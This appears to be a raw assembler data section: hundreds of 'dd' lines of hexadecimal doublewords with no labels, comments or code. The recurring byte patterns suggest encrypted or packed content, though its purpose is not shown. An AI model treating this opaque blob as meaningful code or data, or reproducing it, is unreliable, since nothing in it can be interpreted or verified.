dd 0D8DCFE04h, 0FEB69B75h, 0DAFC02F9h, 4E08ECC6h, 0AE684E48h
dd 0BF9AC6D4h, 823A232Bh, 0C982867Dh, 0A76145F4h, 46A9F6FCh
dd 9972671Ah, 535993EEh, 0AECC631h, 6B4D4B50h, 0AB5ACB1h
dd 6B230A04h, 3675D891h
dd 0B8BD755Ch, 0A0EBC6C1h, 409329BAh, 0D6B4183Ah, 0C6E153B0h
dd 484D05ECh, 2AD654Ah, 0AFB56D50h, 0FF16CEB5h, 9B3AE3D3h
dd 0F3F92C8Eh, 2BB2D8D1h, 0D8B38D47h, 8E462BB2h, 0EBA58B89h
dd 0A2FFB4E6h, 0B0117F5Fh, 442BE153h, 0E1E69E85h, 0C3653FEAh
dd 0C240D1C9h, 0FA33442Bh, 4A4644A4h, 0D8BC9641h, 9E133675h
dd 0D829BAA0h, 0B38E8185h, 18FF81C0h, 482BF012h, 0B2E8E637h
dd 191015CDh, 7DFBEA15h, 0B2D8F8D2h, 53B05933h, 6F4265A4h
dd 729BAA1h, 621C02B4h, 3E60665Dh, 0B28C442Bh, 0D0B28CC3h
dd 141A1116h, 0A453B0F2h, 1C361278h, 5437E8BBh, 0C9EBF19Ch
dd 0B28C442Bh, 944975D8h, 0DC6FA6BDh, 0E2CAECF2h, 29BA6D3Dh
dd 0B095F73Ah, 442BE153h, 0C9C3B28Ch, 0B28C442Bh, 452BC9C3h
dd 0E3E8A284h, 0D86741ECh, 0FDB79B75h, 442BD5F7h, 0ECC6B28Ch
dd 0FA474D05h, 8C442BD4h, 0D34A4975h, 63F124F4h, 0B2D83B5Dh
dd 87C6D6B4h, 0BAA14D64h, 28D0FC29h, 0B6DC63FEh, 11868CDFh
dd 422B05BCh, 0DC8E858Ah, 16383EF8h, 8D32452Bh, 0A106BF21h
dd 88C7DE89h, 0B9CF4C65h, 50733229h, 29B9CF61h, 191FCA1Dh
dd 0FC9AC6F7h, 32920ED6h, 8CB2FF05h, 4D05ECC6h, 0EFC2E548h
dd 8729BAA0h, 89838934h, 94D3EAA2h, 161BD3BAh, 0A08D241Fh
dd 96E929BAh, 87C66E90h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch
dd 80E6129h, 593395BBh, 2BE153B0h, 0C6B18B45h, 0A8BE249Ah
dd 0E050AC4h, 74A0110Ah, 2B120C6Eh, 0D8B58F49h, 6B68E2B2h
dd 0B4DBDDBBh, 0E153B0D6h, 0B58F492Bh, 9CB35339h, 0B0B9D306h
dd 452BE153h, 4248748Bh, 0C08EECD2h, 0AC570FF2h, 0ECC684A6h
dd 534A4F07h, 2BF1EB4Dh, 0D8B18B45h, 8E462BB2h, 0C6B2D8B4h
dd 4B5109ECh, 172EBD08h, 3C1FF964h, 82887F84h, 8C442B60h
dd 0EEA68987h, 0DB3881E9h, 0B0916F98h, 452BE153h, 0B2D8B18Bh
dd 7990482Bh, 9A7B89Fh, 0B3CF45B0h, 0FD1F25D0h, 0CBC1B2D8h
dd 2BE153B0h, 0C3B18B45h, 8F492BC9h, 0C65339B5h, 0E226B89Ah
dd 0E6ECADE9h, 354C06ECh, 7E381CF6h, 0B9AC2E83h, 0EFF54829h
dd 2B6228CDh, 0C6B38D47h, 0DBF5B19Ah, 0F56046CEh, 0C234A320h
dd 0B50208B3h, 8A422B8Fh, 0AB9AC6B0h, 0BD0BD517h, 2349969Ch
dd 9C83422Bh, 3DE8DFE4h, 9A543A38h, 90ED2295h, 2F09244Dh
dd 92898E46h, 87C66A8Ch, 0BAA14D64h, 0D0D62929h, 2B8C065Bh
dd 0C6B18B45h, 454B03ECh, 0E9A3E9E3h, 5380ACA3h, 44FCDF5Dh
dd 0E96AA640h, 46E2C1E3h, 4129BA81h, 0A389482Bh, 4045FDE2h
dd 0DCF39E49h, 24DCC39Dh, 0BAA08829h, 742C1329h, 4EA1786Fh
dd 0B2D82648h, 1406321Dh, 5BDA0B2h, 26050900h, 517379CEh
dd 0A10EA3C6h, 156829BAh, 7C3B24FEh, 0DFD6DB93h, 0B7FA1D34h
dd 0BF29BAA0h, 0C344666Ch, 369AC6C9h, 0D9786858h, 9446898Fh
dd 0E729BA46h, 0B38D472Bh, 7E4975D8h, 0BC5CF0BFh, 2889ACC3h
dd 4E29B9ACh, 1DD3F5FBh, 0AD87C66Fh, 12090EC6h, 0A0E8C90Ch
dd 3B8E29BAh, 2BC9C361h, 0D8B08A42h, 0D4F73675h, 29BAA0DDh
dd 664B4699h, 1029BAA1h, 0E295B7BDh, 29BA8439h, 1D9FED0Eh
dd 5B87C66Fh, 0B53BCA13h, 0B367A95Ch, 6B2974D7h, 3A77BAC0h
dd 4429BA09h, 789BDAF1h, 29BA0939h, 0CAECF245h, 492BC9C3h
dd 0D821CF8Fh, 0A0CFE2B2h, 33A429BAh, 0E153B059h, 0A3C66F1Dh
dd 29BAA10Eh, 4FBDFC28h, 4C92CB93h, 0FAD42746h, 6F1DC9C3h
dd 422BB2D8h, 0B299738Ah, 0A96148FAh, 85A7ADA4h, 9FEDC9C3h
dd 0BAA0CFE2h, 5933A429h, 65A453B0h, 0BAA16F42h, 4B5B0729h
dd 0B262F3B6h, 10060AB5h, 78A93A1Dh, 0C6C4E6ECh, 0C1E40AECh
dd 29BAA0F0h, 82883386h, 422B0143h, 0ECC6B08Ah, 4F464B03h
dd 516FDD4Bh, 686E9E15h, 0CFE2F51Bh, 0A429BAA0h, 53B05933h
dd 8A422BE1h, 2BC9C3B0h, 0D8B08A42h, 0A0CFE2B2h, 8D6729BAh
dd 0EEECF1ABh, 0A2A8530Bh, 0B08FFD80h, 422BE153h, 0ECC6B08Ah
dd 0A45C4506h, 0F7FDF4F9h, 0ECC69B95h, 0F2BFE208h, 8C29BAA0h
dd 92898E39h, 4045FDE0h, 60494349h, 0B16591A8h, 0A0FDD9A2h
dd 0C6BEE0E6h, 4A500AECh, 6F1DD7FDh, 0A10EA3C6h, 156829BAh
dd 4975D83Bh, 7ECCB7A2h, 21434994h, 0B08A422Bh, 6F1DC9C3h
dd 0CBAD87C6h, 0F150C11h, 0BAA0E5CCh, 90775129h, 60B3D2D8h
dd 6ECC686h, 0EAE4464Ch, 75D86F1Dh, 0FAFFB99Bh, 0C6DBFD03h
dd 4C5109ECh, 0CE104F55h, 0B08A422Bh, 321DB2D8h, 0B6BB7358h
dd 0C697B9BFh, 8C254887h, 1729BAA0h, 4FA27933h, 0A0AB0649h
dd 80D329BAh, 6487C6A6h, 29BAA14Dh, 6ED0D629h, 220BA974h
dd 3F19506Ah, 7C9EA45Ch, 4D6487C6h, 2929BAA1h, 4A98D0D6h
dd 0BAA0CFE2h, 472BA429h, 0A18A888Dh, 3BEDE4E9h, 6E9A9F59h
dd 240650ADh, 0C36E656Ah, 53B075E3h, 2BA4E6E1h, 0D8B58F49h
dd 0C66F1DB2h, 0BAA10EA3h, 0B9BC6829h, 4D50A74Fh, 0C3522CD7h
dd 6EBA608Ch, 542B75D4h, 0AF971A3Dh, 8CDF29B9h, 422B6486h
dd 0AB989331h, 91953CF2h, 0DB993B61h, 0D7B15C45h, 0B99B75D8h
dd 0FD03FAFFh, 0A29AC6DBh, 1A3BCC2Ch, 0F5FAB297h, 0A4D53FEh
dd 12E4F00Bh, 6487C668h, 29BAA14Dh, 3A3C04FCh, 9E0A6D5h
dd 0CDB6B0B6h, 0C9C33B15h, 85331CE2h, 492B176Ah, 0C9C3B58Fh
dd 0B58F492Bh, 422BB2D8h, 0B2D8B08Ah, 53B08FFDh, 8F492BE1h
dd 2BC9C3B5h, 0C3B08A42h, 0FD0B28Ch, 776E732Dh, 7C361ACCh
dd 492B5476h, 0B2D8B58Fh, 34569AC6h, 5AB0DE88h, 0BDB4B971h
dd 3EC90C12h, 395DBADFh, 53B08FFDh, 0D2E3CAA4h, 0F47000DEh
dd 6B701BCBh, 0C64C6E74h, 928E689Ah, 309969Eh, 936D2709h
dd 254887C6h, 29BAA08Ch, 0DA49FF2h, 6929BAA1h, 0B4AE1016h
dd 788F492Bh, 0B24CBC4Ch, 0A4BB60D8h, 0B9A93081h, 0EDF34629h
dd 2BB2D8CBh, 34738A42h, 0BAA0A011h, 7D83D629h, 33B2D85Bh
dd 0E153B059h, 4E08ECC6h, 524C5249h, 739FB670h, 24475754h
dd 29BA078Dh, 0A59296E9h, 0B51C206Fh, 3D97EB8Ch, 0C3D8FA00h
dd 8F492BC9h, 0E2B2D8B5h, 5DBBC825h, 0DD1C3322h, 0BAA0F7BAh
dd 42257F29h, 0E38E858Ah, 0A108A9CCh, 1B6E29BAh, 53B0F315h
dd 8F492BE1h, 0D1C9C3B5h, 4600E44Ah, 0C59F4A41h, 472BB2D8h
dd 0C9C3B38Dh, 0B006321Dh, 5109ECEEh, 35AAA24Dh, 0B2D80D2Fh
dd 0B58F492Bh, 9FEDC9C3h, 0BAA0CFE2h, 462BA429h, 0A78B898Eh
dd 0FBBCE8EDh, 9AB15BA6h, 3F4D756Eh, 74263691h, 0D8CFD48Eh
dd 53B0B0D2h, 29E1CAA4h, 0A4E60123h, 0A588492Bh, 46F1E8EDh
dd 2BB2D86Ch, 0D8B48E46h, 8090E2B2h, 2BE359A1h, 0C3B48E46h
dd 8C442BC9h, 0E2B2D8B2h, 7FA79E00h, 0BF775C36h, 442B97B9h
dd 7A49758Ch, 0B76F56D3h, 0E12EA6B3h, 0C9C3B9DBh, 758C442Bh
dd 11FE6949h, 792B2BA8h, 0B4D6DC94h, 0E0E2B2D8h, 53107D3Dh
dd 878C442Bh, 0E5EAA289h, 0F2A1FEB3h, 0BAA0E2CFh, 9E499C29h
dd 87C61AF4h, 0BAA14D64h, 24D62929h, 87D833Bh, 442B39ABh
dd 87C6B28Ch, 0BAA14D64h, 0D0D62929h, 442B746Eh, 0B79B758Ch
dd 0D8D5F7FDh, 36492BB2h, 0B93BA4F1h, 7953FE60h, 2A4D8CC3h
dd 29BAA087h, 74969CEFh, 0B28C442Bh, 5E608CC3h, 952808A2h
dd 0C657797Fh, 0A14D6487h, 0D62929BAh, 3AF4D6D0h, 6487C660h
dd 29BAA14Dh, 83D0D629h, 9ECC65Dh, 29084B51h, 5255E0A1h
dd 858A422Bh, 0A0B2FF22h, 79CC29BAh, 252AE2C7h, 98DB38F9h
dd 53B014EEh, 8ECC6E1h, 6C4E484Eh, 0C9C3D8B2h, 0B58F492Bh
dd 0CEE2B2D8h, 0A93E69C6h
dd 53B08FFDh, 8F492BE1h, 0C6C9C3B5h, 0A14D6487h, 0D62929BAh
dd 3AF4D6D0h, 0AD674923h, 0B2D885A7h, 0B48E462Bh, 5933B2D8h
dd 2BE153B0h, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 3E69C6CEh
dd 0E51D406Ch, 459C1538h, 8FE211E7h, 288CDF8Bh, 452B0022h
dd 23868Bh, 29BAA0B1h, 0E6C87ACDh, 431272Ch, 0A3BA64AFh
dd 2F421777h, 6C727B2Dh, 0E153B04Ah, 9F88492Bh, 3F44FEE0h
dd 0A1989D48h, 0C9C31CF6h, 0B38D472Bh, 92E2B2D8h, 0A848EFAAh
dd 7E42BF7Ch, 6508565Bh, 0C9CD20C8h, 464CCA4Bh, 8D472B24h
dd 92B89C76h, 0BAA1426Fh, 3EE93C29h, 1A3C4239h, 9AC6C9C3h
dd 0CB18D0E6h, 24475E23h, 29BA488Dh, 969096E9h, 0D81EF8B2h
dd 0AB0EE2B2h, 522C34B5h, 0B8AFB46Eh, 462B90B2h, 0A25DA835h
dd 28D3ED40h, 863E2523h, 15E8B81h, 0B0B597BEh, 472BE153h
dd 0C9C3B38Dh, 0B58F492Bh, 0ECC6B2D8h, 51484D05h, 0B36D514Bh
dd 0FDB2D8D9h, 0A453B08Fh, 2429E1CAh, 2B05272Dh, 0C6B58F49h
dd 454B03ECh, 4A6DACE3h, 29BAA167h, 98F5630Fh, 1B8A9899h
dd 1D486A70h, 3675D86Fh, 0BAA09E13h, 7F85D829h, 8D472B5Dh
dd 0EDC9C3B3h, 0AECC69Fh, 0AA074A50h, 0D129BAA0h, 53B05933h
dd 0C6A4E6E1h, 82BA589Ah, 60665DD3h, 0EFC98166h, 9608CC3h
dd 138A27E3h, 41238EB1h, 85B29BAh, 0C635575Dh, 9B3D79Ah
dd 3099DBEh, 916B2509h, 492BB2D8h, 0B2D8B58Fh, 53B095F7h
dd 8D472BE1h, 9D143776h, 0D929BAA0h, 0C35E8086h, 8F492BC9h
dd 2BC9C3B5h, 37768D47h, 0BAA09D14h, 9C7FD929h, 3DE8DFE4h
dd 0B2D81537h, 0BAA0D0E2h, 0BFCDA329h, 1FE153B0h, 5434E0E3h
dd 23E0Ch, 492B5600h, 0B99E788Fh, 0D8D9FB01h, 939A4975h
dd 43D6C4A4h, 95A8092Ch, 7BCE29BAh, 9FED5375h, 788F492Bh
dd 0A09B1639h, 90E329BAh, 8CC3688Ah, 477B2960h, 0EED0C4D0h
dd 8D382F34h, 3A40F8DBh, 8F492B18h, 379AC6B5h, 0DD776963h
dd 0F7FCB499h, 24F5500h, 0A0CFE2DCh, 33A429BAh, 0A453B059h
dd 0A09DA678h, 0FBAD4E3Ah, 34565C14h, 0B58F492Bh, 0CDB28CC3h
dd 2BED0F15h, 0C6B58F49h, 494F07ECh, 0CFE2D6FCh, 0A429BAA0h
dd 53B08FFDh, 6487C6E1h, 29BAA14Dh, 4024D629h, 848A8186h
dd 14EEA88Ah, 500AECC6h, 0EC4E544Bh, 0F3321DF2h, 0BAA0E1D0h
dd 334A9D29h, 0BAA0A110h, 848ADD29h, 2BB2D862h, 0D8B58F49h
dd 58321DB2h, 0BDB4B971h, 0A3C695B7h, 29BAA112h, 0BA745A34h
dd 593B95B4h, 0F8A39A9Fh, 8ECC61Eh, 4E52494Eh, 0C0A15B97h
dd 0EB4D53E6h, 0F99AC6F1h, 81BB2375h, 0E9A18A3Ch, 0EDE7EDE4h
dd 0C377510Bh, 872A4D8Ch, 0EF29BAA0h, 0E674969Ch, 33442BA4h
dd 0DC6DFCD1h, 6518E675h, 5E48A7ABh, 0D85A34DFh, 0FEB69B75h
dd 0C8D9D6F8h, 0D7E57261h, 0C6B26020h, 0BAA10EA3h, 2C0E6829h
dd 18ED919h, 8B3657EDh, 0AE48F86h, 0CEE2C9C3h, 0A929BAA0h
dd 0B28C442Bh, 472BC9C3h, 0E6EBA386h, 0EE2D44EFh, 0BAA0E6CBh
dd 373D9029h, 0E2B2D815h, 7B8CD3C4h, 7BFA882h, 2BE4CDF0h
dd 479AD784h, 1C331F41h, 0B29B5C42h, 0BB9D4FFAh, 0FF05FC01h
dd 0A453B0DDh, 0A16F4265h, 0B40729BAh, 472B8CAEh, 0C9C3B38Dh
dd 500AECC6h, 0B26C504Ah, 9B75D8D8h, 0F8F6FBB5h, 5F565B13h
dd 2B8CAEB4h, 0E9A38544h, 92975137h, 0FFD9F09Bh, 665D621Ah
dd 75D83E60h, 0FAFFB99Bh, 33DBFD03h, 0E153B059h, 0B38D472Bh
dd 0CC608CC3h, 83567A07h, 0C6B9DBE1h, 0A14D6487h, 0D62929BAh
dd 38F2D6D0h, 8ECC65Eh, 0D5FB484Eh, 8CD3C4E2h, 8FFDBF7Bh
dd 2BE153B0h, 0C3B38D47h, 58321DC9h, 94B6BC76h, 442BB2D8h
dd 0C9C3B28Ch, 9AC69FEDh, 0E322B6F8h, 0E2C4763Ch, 262C2328h
dd 0BA1BCEE3h, 5933A529h, 0E6E153B0h, 11C9FBA4h, 2B910000h
dd 0D8B38D47h, 5ECC6B2h, 4B51484Dh, 0BAA0B008h, 492BC329h
dd 0A68C8A8Fh, 0FABBE7ECh, 0FF4A5AA5h, 81874125h, 0A453B05Fh
dd 0A16F4265h, 0A4C729BAh, 29BAA10Dh, 0EC3F1669h, 0E31FC4E6h
dd 0C5434E0h, 8BDh, 879AC656h, 70280B0Eh, 0E70746Bh, 918B9168h
dd 0D81CF6AEh, 94BBE2B2h, 2BB829BAh, 37768D47h, 0BAA09D14h
dd 8086D929h, 1DB2D85Eh, 0CB9AC66Fh, 0A4C1F51Fh, 0BADD3C42h
dd 29B9D3F7h, 7F3E257Fh, 8934DF99h, 0F5B69872h, 5A51560Eh
dd 0ADB3AAAFh, 0E2C9C38Bh, 3980FBE0h, 8D472B53h, 0C6C9C3B3h
dd 0C2E509ECh, 29BAA0EFh, 83893487h, 11EBA589h, 87C6B2D8h
dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 0EDA58E29h, 0C71AF1E8h
dd 70752F15h, 7E307379h, 0F529BAA0h, 858A422Bh, 0E4E9A387h
dd 5DA0FDB2h, 53B03654h, 8D472BE1h, 109AC6B3h, 2EDF3AD6h
dd 6862C4CAh, 768D472Bh, 0A09D1437h, 1CFE29BAh, 8F665D62h
dd 0D814363Ch, 0A0CCE2B2h, 0D4A729BAh, 0E153B0B6h, 0B38D472Bh
dd 0C9B28CC3h, 2BE90B11h, 0B3FE2147h, 0CB29BAA0h, 0D8F3CD78h
dd 5B87C6B2h, 2876CAC8h, 31807BE2h, 4D29BA32h, 4E530DF3h
dd 63A6AC57h, 111884CFh, 7E58F7A6h, 0E1D8DD95h, 87C6B9DBh
dd 0BAA14D64h, 0BFD62929h, 0BAA1159Ch, 80E6129h, 2BC43E93h
dd 5F293447h, 0BE152917h, 5462EABAh, 741F20B8h, 608CC39Ah
dd 0AFD2114Bh, 29BA5902h, 1425297Ch, 7FA1A72Ch, 768D472Bh
dd 0C779B54Ah, 23295896h, 6487C601h, 29BAA14Dh, 83D0D629h
dd 0A55D4620h, 81A3A9A0h, 82C49AC6h, 0A8AD6548h, 73EAADB1h
dd 5A54979Dh, 1929B9B5h, 53B094F6h, 8D472BE1h, 2BC9C3B3h
dd 0D8B38D47h, 1EC4975h, 68CC257Eh, 1116D0B6h, 98F2141Ah
dd 2BC9C3F2h, 0E9A18647h, 6842EDE4h, 4E08ECC6h, 0A09D1437h
dd 86D929BAh, 0F6D03380h, 5F565B13h, 492B3759h, 87C6B58Fh
dd 110CC4ADh, 29BAA0A0h, 307D83D6h, 8D472B0Ah, 99AC6B3h
dd 85E733E5h, 95FD1247h, 50D6F791h, 5D57D34Ch, 93995216h
dd 492B3731h, 41ECA688h, 0E9C8EB2Ah, 9529BAA0h, 0F09B553Bh
dd 0C9C3C8EAh, 0B58F492Bh, 0B598B2D8h, 0A15E5376h, 543D29BAh
dd 6C72C59Ch, 2BC9C34Ah, 0D8B38D47h, 8F492BB2h, 2BB2D8B5h
dd 8ABA3447h, 8F1D0884h, 0C9C30AE4h, 0B58F492Bh, 472BC9C3h
dd 0A0B3FE21h, 71CB29BAh, 0D8CFD48Ch, 0D8A8822Dh, 6B324975h
dd 0B3A29D3Ch, 0FE021085h, 0F7FD788Ah, 7AAAE2D5h, 0B69D399Bh
dd 0E153B0D4h, 4D05ECC6h, 0AF694D47h, 3ECC6D5h, 0FBB5994Bh
dd 2B9993F5h, 0C6B38D47h, 634605ECh, 4AFA6ABh, 0C68BB1FEh
dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 732B0E08h
dd 1DC9C399h, 2BB2D86Fh, 0C3B38D47h, 8862EDC9h, 943593A6h
dd 512E4639h, 0BDA3A1A6h, 5C07FE03h, 0CFE23456h, 6729BAA0h
dd 1A7F243Bh, 242A73BFh, 0B0593302h, 0A4E6E153h, 0B38D472Bh
dd 0E208ECC6h, 0BAA0F2BFh, 8E398C29h, 0FEE09289h, 42483F44h
dd 0ECC6CFF5h, 0F3BEE105h, 8B29BAA0h, 25888D38h, 0BAA0AF02h
dd 0C974C729h, 2EE6C9C3h, 33B2D854h, 0E153B059h, 0B38D472Bh
dd 7A5B87C6h, 96F824C5h, 0C22D847Fh, 0F64929B9h, 7D578EF0h
dd 0DCDADF99h, 909641F9h, 6487C66Eh, 29BAA14Dh, 0D6DBD629h
dd 0A029BAA0h, 0C8A28D4Dh, 2E252AE4h, 75D80628h, 0F7FDB79Bh
dd 90482BD5h, 9ECC6B6h, 0EFE94B51h, 9AC69FEDh, 4B88B856h
dd 4A2CDE1Fh, 6A478A90h, 1129B9C0h, 53B05933h, 29E1CAA4h
dd 8A442624h, 0CCE38E85h, 0BAA108A9h, 151B6E29h, 0C6A4E6F3h
dd 0A14D6487h, 28FC29BAh, 0EB36160Bh, 797FD2A9h, 0BA634336h
dd 442BB829h
dd 75D8B28Ch, 0B013BE49h, 1C22647Fh, 0C66F1DFAh, 0BAA10EA3h
dd 3B156829h, 0F6E2C9C3h, 516F1EB3h, 0B28C442Bh, 442BC9C3h
dd 0B2D8B28Ch, 87C6AAE0h, 8262EC5Bh, 0E5E09EA5h, 29B9BFCCh
dd 0B87258B2h, 0B11BCB3h, 0B08A3996h, 150C11C9h, 0ECC6ED0Fh
dd 51484D05h, 2BEFE94Bh, 0E59F8544h, 643EE9E0h, 4B03ECC6h
dd 0FC494F46h, 8C9AC6D6h, 0C14F9E2Dh, 993FCCD2h, 87C6C9C3h
dd 0B4558A5Bh, 0BDB8FAE1h, 29BA6DF4h, 3731378Ah, 0D8BE9850h
dd 9ECC6B2h, 0A0EFC2E5h, 348729BAh, 878D8489h, 0BAA16A44h
dd 0B6D40929h, 2BE153B0h, 0B4FD2044h, 9D29BAA0h, 10ABA473h
dd 4DA077C2h, 0F15F8BA2h, 9C68ADD3h, 0C3F3151Bh, 0EA9AC6C9h
dd 9DFC14B4h, 58A9212h, 62A7D101h, 0C57D625Ch, 0E2B2D8EBh
dd 3488B490h, 8E462BE3h, 0CDDF4B77h, 104A8F4Fh, 3CC8320Ch
dd 0CCD292C7h, 5B87C6AAh, 60D0CDBEh, 357C776Ch, 4129B9BCh
dd 8C86E8EEh, 0B48E462Bh, 4D6487C6h, 2929BAA1h, 5D83D0D6h
dd 2BDBC9B3h, 8C8A8F49h, 99E9EEA8h, 0B45B2C33h, 6C99433Fh
dd 87A6CC17h, 80EC6ADh, 0E153B0E6h, 778E462Bh, 676DD74Bh
dd 989E9109h, 2BC9C376h, 0D8B48E46h, 7ECC6B2h, 0A806494Fh
dd 0CB29BAA0h, 53B094F6h, 22462BE1h, 0BAA0B2FFh, 0CE79CC29h
dd 6C9AC6F4h, 75817E1Ah, 0B2AC0E14h, 778E462Bh, 0F7FCB49Dh
dd 575C14F9h, 1C03B560h, 0D83C5E64h, 0D9DCE2B2h, 33575958h
dd 7ECC659h, 4D534A4Fh, 2B097BD8h, 0C3B48E46h, 22462BC9h
dd 0BAA0B2FFh, 0EA0DCC29h, 29BAA0C7h, 6B15CAFh, 0C6B2D82Ch
dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 0CEC1C508h
dd 33B45359h, 0F7BADD1Ch, 7F29BAA0h, 0B004262Ch, 462BE153h
dd 0B79D778Eh, 0C6D5F7FDh, 1B69F19Ah, 6369D1FEh, 0ECC60701h
dd 4D4B500Ah, 0FC02AD67h, 8B651D02h, 5799AC6h, 0FE7972A3h
dd 0B0B66119h, 4DE23D63h, 2A47CBDFh, 53B095F7h, 8E462BE1h
dd 2BC9C3B4h, 0D8B48E46h, 3ECC6B2h, 0A0F5BCDFh, 2E8129BAh
dd 0D53A7D83h, 25138483h, 0AAB0684Bh, 0B08FFD88h, 462BE153h
dd 0C9C3B48Eh, 0B28C442Bh, 0B99B75D8h, 0A1417093h, 0EA3D29BAh
dd 3D433A3Fh, 8E462B1Bh, 0B6B2D8B4h, 7C355897h, 229BAA0h
dd 207BFA8h, 2E5C600Bh, 0F38E40EEh, 0B0E90B11h, 2665A453h
dd 0BAA0AE03h, 7A75C829h, 29BAA137h, 0C4E6EC3Fh, 9C85442Bh
dd 3DE8DFE4h, 0AA00FA26h, 0D9DE987Ch, 10BADEE2h, 0C605272Dh
dd 474C06ECh, 0B1E84A50h, 0A1624F72h, 0C91C29BAh, 462BA1C3h
dd 0C9C3B48Eh, 0E105ECC6h, 0BAA0F3BEh, 8D388B29h, 0AF022588h
dd 0C729BAA0h, 0C9C3C974h, 39132AE2h, 98969B55h, 0F7FCB6h
dd 0D82D4F55h, 9CF4E2B2h, 0FD4F2AE3h, 0E153B08Fh, 0FD20442Bh
dd 29BAA0B4h, 0F2CC77CAh, 0ECC6C9C3h, 4F464B03h, 0CD88A14Bh
dd 8389C406h, 14EEA689h, 0A54975D8h, 0D396D556h, 0CD2D73B0h
dd 66117C8Eh, 1DE23E60h, 1A77A66Ch, 4D6487C6h, 2929BAA1h
dd 2A2FE9CFh, 17848833h, 0B2DF395Dh, 0E5C8C2C8h, 4C04E7C1h
dd 5C555047h, 0E229B9B7h, 0B9B6F2BFh, 62398C29h, 0C17B5D0Fh
dd 8CC33C16h, 6113CBB2h, 0C6BDC27Ah, 87C69EC0h, 0BAA14D64h
dd 476A2929h, 29BAA16Ah, 1016C114h, 9D772F16h, 0D7779AC6h
dd 0B6CACDA9h, 0C63D63B0h, 4C5109ECh, 72554F55h, 0B2D8E0BAh
dd 53B08FFDh, 8C442BE1h, 0B57C4975h, 9EA25C40h, 2C139397h
dd 0A1C3C974h, 6F1DC9C3h, 482BB2D8h, 0BB9F7990h, 0D76699A8h
dd 0E08B9614h, 0AACDE4DBh, 29B9C607h, 0F4161C6Fh, 0ECC6C9C3h
dd 11494F07h, 6487C6C3h, 29BAA14Dh, 8DD0D629h, 29BAA124h
dd 421C3357h, 10F2A45Eh, 0B02E5056h, 0A4E6E153h, 4E08ECC6h
dd 183B5249h, 29BAA099h, 928C92E5h, 0D81AF4AEh, 884CE2B2h
dd 0FD27594Ah, 0E153B08Fh, 0B38D472Bh, 4D05ECC6h, 0C6EBE547h
dd 4A42209Ah, 0CFD589F2h, 5D37F1D5h, 4F07ECC6h, 2BD6FC49h
dd 0C6B28C44h, 0C2E509ECh, 29BAA0EFh, 84893487h, 62BBEC34h
dd 0B35E785Bh, 23FD60ADh, 877E833Dh, 8FFD5F81h, 2BE153B0h
dd 0C3B38D47h, 8ECC6C9h, 16F9494Eh, 14674853h, 8F898F3Ah
dd 0D817F1ABh, 884CE2B2h, 0BEEA594Ah, 8D4AF310h, 0D0F2F822h
dd 888D472Bh, 0EAEFA78Ah, 4B500AECh, 64B96E54h, 0C6956F19h
dd 4A500AECh, 2B0678D5h, 0C3B38D47h, 0C66F1DC9h, 4B5109ECh
dd 442BD8FEh, 0DFE49C85h, 233A0B8Fh, 0C16C19EBh, 0C9C33C16h
dd 4D6487C6h, 2929BAA1h, 4A98D0D6h, 0BAA0CFE2h, 5933A429h
dd 500AECC6h, 1A3D544Bh, 29BAA097h, 11868CDFh, 5ED905BCh
dd 3E37F09Ah, 7BFA85Ah, 0E3050B02h, 7D3B67E6h, 169BBEF4h
dd 6029BA3Dh, 0F592090Dh, 0FBCDEFF5h, 8C7h, 0EE4DE291h
dd 2B2A29BAh, 0B0012448h, 0C629BAA0h, 0D8EEC873h, 58321DB2h
dd 0BDB4B971h, 87C695B7h, 0A0FC9ADh, 0E7CA0D13h, 8F29BAA0h
dd 9AC6623Ch, 15865254h, 40A2A8D5h, 2B9FED46h, 9F799048h
dd 0D9FB01BBh, 2EE2C9C3h, 929BAF0h, 0AE31422Bh, 570FF26Bh
dd 81E50653h, 0B2D8FCD6h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h
dd 0F6EDE2C9h, 330D255Eh, 77B03D4Eh, 0CC5EC9AAh, 391E1C21h
dd 0AED0D681h, 0B5459AC6h, 0B7D75077h, 16CEB7B1h, 2BC9C33Ch
dd 8A9D8342h, 17449C3Ah, 0E2E79213h, 0C66640EBh, 0A14D6487h
dd 654E29BAh, 0DAB1A8ADh, 0E348187h, 0BAA0CCE2h, 79D4A729h
dd 0F6B14C4Dh, 0C6CC4359h, 0E153B0A4h, 5109ECC6h, 0B068514Bh
dd 2BC9C3D6h, 0D8B08A42h, 0A0CCE2B2h, 0F6A729BAh, 0E153B094h
dd 4D6487C6h, 2929BAA1h, 0EDD6D0D6h, 0C1F21E35h, 0E74EFB61h
dd 0C391B3B9h, 8ECC6C9h, 4C52494Eh, 0D7B16952h, 9E2B2D8h
dd 7E255EF7h, 868B452Bh, 0E3E8A288h, 0A1545D80h, 0D72A29BAh
dd 0D21D72BBh, 0E31B47F2h, 0F6010BEAh, 0B05E8086h, 0ECC6E153h
dd 0B19A4C06h, 10F9F3F9h, 8CC37E58h, 3AD40C60h, 1A202D95h
dd 90482BF8h, 2BB2D8B6h, 0E39D8342h, 0B2D85E38h, 53B05933h
dd 29E1CAA4h, 482B0123h, 0C9C3B690h, 738A422Bh, 0A0A01134h
dd 14FB29BAh, 2C32855Ch, 0EDC9C30Ah, 0A0CFE29Fh, 0FDA429BAh
dd 0E153B08Fh, 4F07ECC6h, 0E4D534Ah, 8C442BCCh, 3ECC6B2h
dd 0D2F8454Bh, 0A3C66F1Dh, 29BAA10Eh, 0B6B6BC68h, 0BF3228A8h
dd 3A23FD14h, 35E0987Bh, 11333930h, 0CCB28CC3h, 2C0F0D12h
dd 0CD786F74h, 0CFE2A5C7h, 0A429BAA0h, 0B28C442Bh, 482BC9C3h
dd 0ECC6B690h, 534A4F07h, 0C39D004Dh, 2A2126DEh, 442B0224h
dd 4849758Ch, 0C5B5F205h, 0D8A8CAD0h, 0B08FFDB2h, 482BE153h
dd 0C9C3B690h, 0B28C442Bh, 321DC9C3h, 0B6BB7358h, 0C697B9BFh
dd 0E82CB69Ah, 898F7278h, 482B163Ch, 40EBA589h, 0C6B2D866h
dd 0BAA10EA3h, 0FE156829h, 0BAA0D6DBh, 8D4DA029h, 6487C6DFh
dd 29BAA14Dh, 0D6AD654Eh, 0FB1E7D83h, 29BAA0BAh, 0C38F69BCh
dd 7ECC6C9h, 6C4F494Fh, 0C9C3DAB4h, 472BA4E6h, 0BA9C768Dh
